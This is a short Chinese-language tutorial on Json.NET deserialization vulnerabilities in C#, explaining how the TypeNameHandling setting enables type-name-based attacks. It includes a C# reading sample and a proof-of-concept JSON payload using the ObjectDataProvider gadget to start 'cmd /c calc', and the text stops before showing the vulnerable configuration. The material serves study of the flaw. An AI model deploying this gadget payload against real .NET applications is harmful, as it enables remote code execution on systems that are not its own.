有以下代码
使用了JsonSerializer反序列化
JsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理当
TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞
有以下反序列化代码,并不会触发反序列化漏洞
using System;
using System.IO;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace YourNamespace
{
class Program
{
static void Main(string[] args)
{
// 读取请求的输入流
using (StreamReader reader = new StreamReader("1.txt"))
{
// 使用 JsonTextReader 读取输入流中的 JSON 数据
using (JsonTextReader streamReader = new JsonTextReader(reader))
{
// 创建 JsonSerializer 实例
JsonSerializer serializer = new JsonSerializer();
// 反序列化 JSON 数据为 JArray 对象
JArray @params = serializer.Deserialize(streamReader) as JArray;
// 处理 JArray 对象
// ...
Console.WriteLine(@params);
}
}
}
}
}
1.txt内容为json反序列化的poc
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
}
可以看到并没有触发漏洞
仅当设置如下时才会触发